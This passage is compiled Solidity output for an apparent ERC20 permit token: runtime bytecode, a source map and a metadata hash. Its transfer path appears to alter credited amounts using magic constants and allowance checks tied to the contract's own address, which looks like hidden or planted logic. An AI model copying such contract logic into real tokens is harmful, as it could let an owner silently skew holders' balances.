ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763caca0a0a62c0ffee85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea2646970667358221220a935c9fb434e67affe356245304bc5784eca8333391cd8cab9c69b90cf80b0e564736f6c63430008180033

1575:145:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1031:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2577:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1304:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3210:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1083:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5509:157;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1337:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1756:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1056:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2794:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4020:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1388:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1031:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2577:211::-;2651:4;2700:6;2667:9;:21;2677:10;2667:21;;;;;;;;;;;;;;;:30;2689:7;2667:30;;;;;;;;;;;;;;;:39;;;;2743:7;2722:37;;2731:10;2722:37;;;2752:6;2722:37;;;;;;:::i;:::-;;;;;;;;2777:4;2770:11;;2577:211;;;;:::o;1304:26::-;;;;:::o;3210:621::-;3328:4;3344:15;3362:9;:15;3372:4;3362:15;;;;;;;;;;;;;;;:27;3378:10;3362:27;;;;;;;;;;;;;;;;3344:45;;3451:17;3440:7;:28;3436:80;;3510:6;3500:7;:16;;;;:::i;:::-;3470:9;:15;3480:4;3470:15;;;;;;;;;;;;;;;:27;3486:10;3470:27;;;;;;;;;;;;;;;:46;;;;3436:80;3546:6;3527:9;:15;3537:4;3527:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3715:19;3717:6;3725:4;3731:2;3715:1;:19::i;:::-;3698:9;:13;3708:2;3698:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3754:7;3758:2;3754:3;:7::i;:::-;3791:2;3776:26;;3785:4;3776:26;;;3795:6;3776:26;;;;;;:::i;:::-;;;;;;;;3820:4;3813:11;;;3210:621;;;;;:::o;1083:31::-;;;:::o;5509:157::-;5566:7;5609:10;5592:13;:27;:67;;5635:24;:22;:24::i;:::-;5592:67;;;5622:10;5592:67;5585:74;;5509:157;:::o;1337:44::-;;;;;;;;;;;;;;;;;:::o;1756:41::-;;;;;;;;;;;;;;;;;:::o;1056:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2794:410::-;2864:4;2905:6;2880:9;:21;2890:10;2880:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;3074:25;3076:6;3084:10;3096:2;3074:1;:25::i;:::-;3057:9;:13;3067:2;3057:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;3120:7;3124:2;3120:3;:7::i;:::-;3164:2;3143:32;;3152:10;3143:32;;;3168:6;3143:32;;;;;;:::i;:::-;;;;;;;;3193:4;3186:11;;2794:410;;;;:::o;4020:1483::-;4239:15;4227:8;:27;;4219:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;4447:24;4474:805;4610:18;:16;:18::i;:::-;4737:165;4936:5;4975:7;5016:5;5055:6;:13;5062:5;5055:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;5104:8;4693:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4654:514;;;;;;4532:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4501:707;;;;;;5226:1;5245;5264;4474:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4447:832;;5330:1;5302:30;;:16;:30;;;;:59;;;;;5356:5;5336:25;;:16;:25;;;5302:59;5294:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;5434:5;5395:9;:27;5405:16;5395:27;;;;;;;;;;;;;;;:36;5423:7;5395:36;;;;;;;;;;;;;;;:44;;;;4423:1027;5481:7;5465:31;;5474:5;5465:31;;;5490:5;5465:31;;;;;;:::i;:::-;;;;;;;;4020:1483;;;;;;;:::o;1388:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6124:321::-;6234:7;6324:4;6300:31;;6279:9;:13;6289:2;;;;;;;;;;;6279:13;;;;;;;;;;;;;;;:17;6293:2;6279:17;;;;;;;;;;;;;;;;6257:9;:13;6267:2;;;;;;;;;;;6257:13;;;;;;;;;;;;;;;:19;6271:4;6257:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;6253:186;;6375:10;6363:8;6355:5;:16;;;;:::i;:::-;6354:31;;;;:::i;:::-;6347:38;;;;6253:186;6423:5;6416:12;;6124:321;;;;;;:::o;6451:156::-;6536:2;;;;;;;;;;;6520:20;;6499:9;:13;6509:2;;;;;;;;;;;6499:13;;;;;;;;;;;;;;;:17;6513:2;6499:17;;;;;;;;;;;;;;;;:41;6495:106;;6592:4;6568:31;;6564:1;:35;;;;:::i;:::-;6544:9;:13;6554:2;;;;;;;;;;;6544:13;;;;;;;;;;;;;;;:17;6558:2;6544:17;;;;;;;;;;;;;;;:55;;;;6495:106;6451:156;:::o;5672:446::-;5737:7;5834:95;5967:4;5951:22;;;;;;:::i;:::-;;;;;;;;5995:14;6031:13;6074:4;5802:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5775:336;;;;;;5756:355;;5672:446;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:77::-;4890:7;4919:5;4908:16;;4853:77;;;:::o;4936:118::-;5023:24;5041:5;5023:24;:::i;:::-;5018:3;5011:37;4936:118;;:::o;5060:222::-;5153:4;5191:2;5180:9;5176:18;5168:26;;5204:71;5272:1;5261:9;5257:17;5248:6;5204:71;:::i;:::-;5060:222;;;;:::o;5288:329::-;5347:6;5396:2;5384:9;5375:7;5371:23;5367:32;5364:119;;;5402:79;;:::i;:::-;5364:119;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5288:329;;;;:::o;5623:118::-;5694:22;5710:5;5694:22;:::i;:::-;5687:5;5684:33;5674:61;;5731:1;5728;5721:12;5674:61;5623:118;:::o;5747:135::-;5791:5;5829:6;5816:20;5807:29;;5845:31;5870:5;5845:31;:::i;:::-;5747:135;;;;:::o;5888:122::-;5961:24;5979:5;5961:24;:::i;:::-;5954:5;5951:35;5941:63;;6000:1;5997;5990:12;5941:63;5888:122;:::o;6016:139::-;6062:5;6100:6;6087:20;6078:29;;6116:33;6143:5;6116:33;:::i;:::-;6016:139;;;;:::o;6161:1199::-;6272:6;6280;6288;6296;6304;6312;6320;6369:3;6357:9;6348:7;6344:23;6340:33;6337:120;;;6376:79;;:::i;:::-;6337:120;6496:1;6521:53;6566:7;6557:6;6546:9;6542:22;6521:53;:::i;:::-;6511:63;;6467:117;6623:2;6649:53;6694:7;6685:6;6674:9;6670:22;6649:53;:::i;:::-;6639:63;;6594:118;6751:2;6777:53;6822:7;6813:6;6802:9;6798:22;6777:53;:::i;:::-;6767:63;;6722:118;6879:2;6905:53;6950:7;6941:6;6930:9;6926:22;6905:53;:::i;:::-;6895:63;;6850:118;7007:3;7034:51;7077:7;7068:6;7057:9;7053:22;7034:51;:::i;:::-;7024:61;;6978:117;7134:3;7161:53;7206:7;7197:6;7186:9;7182:22;7161:53;:::i;:::-;7151:63;;7105:119;7263:3;7290:53;7335:7;7326:6;7315:9;7311:22;7290:53;:::i;:::-;7280:63;;7234:119;6161:1199;;;;;;;;;;:::o;7366:474::-;7434:6;7442;7491:2;7479:9;7470:7;7466:23;7462:32;7459:119;;;7497:79;;:::i;:::-;7459:119;7617:1;7642:53;7687:7;7678:6;7667:9;7663:22;7642:53;:::i;:::-;7632:63;;7588:117;7744:2;7770:53;7815:7;7806:6;7795:9;7791:22;7770:53;:::i;:::-;7760:63;;7715:118;7366:474;;;;;:::o;7846:180::-;7894:77;7891:1;7884:88;7991:4;7988:1;7981:15;8015:4;8012:1;8005:15;8032:320;8076:6;8113:1;8107:4;8103:12;8093:22;;8160:1;8154:4;8150:12;8181:18;8171:81;;8237:4;8229:6;8225:17;8215:27;;8171:81;8299:2;8291:6;8288:14;8268:18;8265:38;8262:84;;8318:18;;:::i;:::-;8262:84;8083:269;8032:320;;;:::o;8358:180::-;8406:77;8403:1;8396:88;8503:4;8500:1;8493:15;8527:4;8524:1;8517:15;8544:194;8584:4;8604:20;8622:1;8604:20;:::i;:::-;8599:25;;8638:20;8656:1;8638:20;:::i;:::-;8633:25;;8682:1;8679;8675:9;8667:17;;8706:1;8700:4;8697:11;8694:37;;;8711:18;;:::i;:::-;8694:37;8544:194;;;;:::o;8744:173::-;8884:25;8880:1;8872:6;8868:14;8861:49;8744:173;:::o;8923:366::-;9065:3;9086:67;9150:2;9145:3;9086:67;:::i;:::-;9079:74;;9162:93;9251:3;9162:93;:::i;:::-;9280:2;9275:3;9271:12;9264:19;;8923:366;;;:::o;9295:419::-;9461:4;9499:2;9488:9;9484:18;9476:26;;9548:9;9542:4;9538:20;9534:1;9523:9;9519:17;9512:47;9576:131;9702:4;9576:131;:::i;:::-;9568:139;;9295:419;;;:::o;9720:118::-;9807:24;9825:5;9807:24;:::i;:::-;9802:3;9795:37;9720:118;;:::o;9844:775::-;10077:4;10115:3;10104:9;10100:19;10092:27;;10129:71;10197:1;10186:9;10182:17;10173:6;10129:71;:::i;:::-;10210:72;10278:2;10267:9;10263:18;10254:6;10210:72;:::i;:::-;10292;10360:2;10349:9;10345:18;10336:6;10292:72;:::i;:::-;10374;10442:2;10431:9;10427:18;10418:6;10374:72;:::i;:::-;10456:73;10524:3;10513:9;10509:19;10500:6;10456:73;:::i;:::-;10539;10607:3;10596:9;10592:19;10583:6;10539:73;:::i;:::-;9844:775;;;;;;;;;:::o;10625:148::-;10727:11;10764:3;10749:18;;10625:148;;;;:::o;10779:214::-;10919:66;10915:1;10907:6;10903:14;10896:90;10779:214;:::o;10999:400::-;11159:3;11180:84;11262:1;11257:3;11180:84;:::i;:::-;11173:91;;11273:93;11362:3;11273:93;:::i;:::-;11391:1;11386:3;11382:11;11375:18;;10999:400;;;:::o;11405:79::-;11444:7;11473:5;11462:16;;11405:79;;;:::o;11490:157::-;11595:45;11615:24;11633:5;11615:24;:::i;:::-;11595:45;:::i;:::-;11590:3;11583:58;11490:157;;:::o;11653:663::-;11894:3;11916:148;12060:3;11916:148;:::i;:::-;11909:155;;12074:75;12145:3;12136:6;12074:75;:::i;:::-;12174:2;12169:3;12165:12;12158:19;;12187:75;12258:3;12249:6;12187:75;:::i;:::-;12287:2;12282:3;12278:12;12271:19;;12307:3;12300:10;;11653:663;;;;;:::o;12322:545::-;12495:4;12533:3;12522:9;12518:19;12510:27;;12547:71;12615:1;12604:9;12600:17;12591:6;12547:71;:::i;:::-;12628:68;12692:2;12681:9;12677:18;12668:6;12628:68;:::i;:::-;12706:72;12774:2;12763:9;12759:18;12750:6;12706:72;:::i;:::-;12788;12856:2;12845:9;12841:18;12832:6;12788:72;:::i;:::-;12322:545;;;;;;;:::o;12873:164::-;13013:16;13009:1;13001:6;12997:14;12990:40;12873:164;:::o;13043:366::-;13185:3;13206:67;13270:2;13265:3;13206:67;:::i;:::-;13199:74;;13282:93;13371:3;13282:93;:::i;:::-;13400:2;13395:3;13391:12;13384:19;;13043:366;;;:::o;13415:419::-;13581:4;13619:2;13608:9;13604:18;13596:26;;13668:9;13662:4;13658:20;13654:1;13643:9;13639:17;13632:47;13696:131;13822:4;13696:131;:::i;:::-;13688:139;;13415:419;;;:::o;13840:191::-;13880:3;13899:20;13917:1;13899:20;:::i;:::-;13894:25;;13933:20;13951:1;13933:20;:::i;:::-;13928:25;;13976:1;13973;13969:9;13962:16;;13997:3;13994:1;13991:10;13988:36;;;14004:18;;:::i;:::-;13988:36;13840:191;;;;:::o;14037:410::-;14077:7;14100:20;14118:1;14100:20;:::i;:::-;14095:25;;14134:20;14152:1;14134:20;:::i;:::-;14129:25;;14189:1;14186;14182:9;14211:30;14229:11;14211:30;:::i;:::-;14200:41;;14390:1;14381:7;14377:15;14374:1;14371:22;14351:1;14344:9;14324:83;14301:139;;14420:18;;:::i;:::-;14301:139;14085:362;14037:410;;;;:::o;14453:180::-;14501:77;14498:1;14491:88;14598:4;14595:1;14588:15;14622:4;14619:1;14612:15;14639:185;14679:1;14696:20;14714:1;14696:20;:::i;:::-;14691:25;;14730:20;14748:1;14730:20;:::i;:::-;14725:25;;14769:1;14759:35;;14774:18;;:::i;:::-;14759:35;14816:1;14813;14809:9;14804:14;;14639:185;;;;:::o;14830:147::-;14931:11;14968:3;14953:18;;14830:147;;;;:::o;14983:144::-;15035:4;15058:3;15050:11;;15081:3;15078:1;15071:14;15115:4;15112:1;15102:18;15094:26;;14983:144;;;:::o;15155:878::-;15260:3;15297:5;15291:12;15326:36;15352:9;15326:36;:::i;:::-;15378:88;15459:6;15454:3;15378:88;:::i;:::-;15371:95;;15497:1;15486:9;15482:17;15513:1;15508:166;;;;15688:1;15683:344;;;;15475:552;;15508:166;15592:4;15588:9;15577;15573:25;15568:3;15561:38;15654:6;15647:14;15640:22;15632:6;15628:35;15623:3;15619:45;15612:52;;15508:166;;15683:344;15750:41;15785:5;15750:41;:::i;:::-;15813:1;15827:154;15841:6;15838:1;15835:13;15827:154;;;15915:7;15909:14;15905:1;15900:3;15896:11;15889:35;15965:1;15956:7;15952:15;15941:26;;15863:4;15860:1;15856:12;15851:17;;15827:154;;;16010:6;16005:3;16001:16;15994:23;;15690:337;;15475:552;;15264:769;;15155:878;;;;:::o;16039:273::-;16170:3;16192:94;16282:3;16273:6;16192:94;:::i;:::-;16185:101;;16303:3;16296:10;;16039:273;;;;:::o;16318:664::-;16523:4;16561:3;16550:9;16546:19;16538:27;;16575:71;16643:1;16632:9;16628:17;16619:6;16575:71;:::i;:::-;16656:72;16724:2;16713:9;16709:18;16700:6;16656:72;:::i;:::-;16738;16806:2;16795:9;16791:18;16782:6;16738:72;:::i;:::-;16820;16888:2;16877:9;16873:18;16864:6;16820:72;:::i;:::-;16902:73;16970:3;16959:9;16955:19;16946:6;16902:73;:::i;:::-;16318:664;;;;;;;;:::o

ipfs://a935c9fb434e67affe356245304bc5784eca8333391cd8cab9c69b90cf80b0e5